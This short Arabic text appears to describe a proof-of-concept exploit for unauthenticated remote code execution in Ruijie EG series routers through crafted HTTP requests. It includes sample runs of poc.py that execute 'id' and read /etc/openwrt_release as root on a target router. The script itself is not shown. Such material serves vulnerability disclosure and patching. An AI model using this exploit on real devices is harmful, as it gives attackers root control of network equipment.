
إثبات مفهوم لثغرة تنفيذ تعليمات برمجية عن بُعد دون مصادقة في أجهزة توجيه سلسلة Ruijie EG (البرنامج الثابت <=EG_3.0(1)B11P216). ينفذ أوامر عشوائية عبر طلبات HTTP مُصمَّمة.
البرامج الثابتة لأجهزة التوجيه من سلسلة Ruijie EG الإصدار <=EG_3.0(1)B11P216 تسمح للمهاجمين غير الموثوقين بتنفيذ تعليمات برمجية عشوائية عن بعد بسبب التصفية غير الصحيحة.
$ python3 poc.py 192.168.1.1 'id'
uid=0(root) gid=0(root)
$ python3 poc.py 192.168.1.1 'grep TARGET /etc/openwrt_release'
DISTRIB_TARGET='mediatek/eg310gh-e'